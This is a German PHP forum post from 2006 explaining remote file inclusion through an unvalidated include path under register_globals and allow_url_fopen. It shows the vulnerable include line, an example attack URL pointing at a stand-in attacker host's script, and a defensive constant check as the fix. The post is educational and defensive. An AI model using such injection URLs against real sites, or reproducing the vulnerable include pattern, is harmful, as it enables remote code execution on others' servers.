AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Thema durchsuchen
Ansicht
Themen-Optionen

[PHP] include

Offene Frage von "Wuaegner"
Ein Thema von Wuaegner · begonnen am 30. Sep 2006 · letzter Beitrag vom 1. Okt 2006
 
Benutzerbild von alcaeus
alcaeus

Registriert seit: 11. Aug 2003
Ort: München
6.537 Beiträge
 
#10

Re: [PHP] include

  Alt 1. Okt 2006, 07:21
Ganz genau. Und in einer Datei sollte (wichtig, sollte) man eigentlich wissen, in welchem Verzeichnis die Datei liegt.

Um die Idee von Simon besser zu erlaeutern, du musst in allen Dateien, die nicht eingebunden werden, sondern direkt aufgerufen werden, ROOT_PATH korrekt definieren. Nimm dabei eine Konstante, warum siehst du gleich. Alle Dateien, die nicht eingebunden werden, lassen die Konstante in Frieden und fragen sie nur ab. In diesen Dateien solltest du abfragen, ob sie auch korrekt eingebunden sind. Dies geht am Besten, indem du pruefst ob eine Konstante gesetzt ist (ROOT_PATH wuerde diesen Zweck bereits erfuellen). Warum das?
Nuja, stellen wir uns mal vor, du machst es mit einer Variable (erster Fehler). Stellen wir uns mal vor, auf deinem Server ist register_globals an (zweiter, weit verbreiteter Fehler). Stellen wir uns ausserdem vor, dass allow_url_fopen auf deinem Server aktiv ist (dritter, ebensoweit verbreiteter Fehler).
Du hast also ein Script foo.php, das eigentlich bar.php einbindet. in bar.php steht nur das:
Code:
<?php
include($root_path .'foobar.php');
?>
Da bar.php ja erwartet, dass root_path gesetzt ist, funktioniert dies bei einem Aufruf von foo.php einwandfrei, $root_path ist ja definiert.
Jetzt kommt aber der boese alci (*g*) und ruft h**p://foobar/foobar.php?root_path=h**p://meinserver/boesesscript.txt? auf. Was passiert? Der Include-Befehl wird so aussehn:
Code:
include('h**p://meinserver/boesesscript.txt?foobar.php')
denn schliesslich wird durch register_globals $root_path gesetzt. Durch allow_url_fopen geht include auch wirklich auf meinen Server, holt sich boesesscript.txt und fuehrt sie auf deinem Server aus. Die Folgen ueberlass ich deiner Fantasie.

Also, wenn direkt Code in include-Dateien ausgefuehrt wird (Dateien, die nur aus Funktionen bestehn, sind weniger kritisch) immer mit etwas der Art
Code:
if (!defined('ROOT_PATH'))
{
  die('Not allowed');
}
Und natuerlich in den anderen Dateien:
Code:
define('ROOT_PATH', './');
Greetz
alcaeus

PS: Ja, ich hatte grad Lust auf nen Remote-Code-Injection-Aufklaerungspost fuer Dummies
Andreas B.
Die Mutter der Dummen ist immer schwanger.
Ein Portal für Informatik-Studenten: www.infler.de
  Mit Zitat antworten Zitat
 


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 00:45 Uhr.
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz